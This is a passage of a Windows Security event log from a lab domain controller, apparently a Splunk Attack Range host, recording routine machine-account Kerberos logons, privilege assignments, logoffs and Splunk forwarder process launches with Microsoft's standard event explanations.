-EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256629 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x436715 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65454 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:35:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256628 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x436715 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:36:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256631 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x638 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:36:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256633 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe38 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:36:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256632 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x810 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:36:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256634 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x970 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:36:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256635 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x714 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:36:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256636 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:36:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256637 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:36:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256640 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43AD00 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:36:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256639 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x43AD00 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 65467 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:36:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256638 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43AD00 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:37:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256646 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43B01E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:37:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256645 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x43B01E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65471 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:37:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256644 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43B01E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:37:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256643 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43AFB2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:37:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256642 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x43AFB2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 65470 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:37:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256641 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43AFB2 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:37:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256648 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x918 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:37:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256647 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6d4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:37:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256649 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x504 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256661 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256660 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43C1C3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256659 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43C2D1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:37:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256658 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x43C31A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It 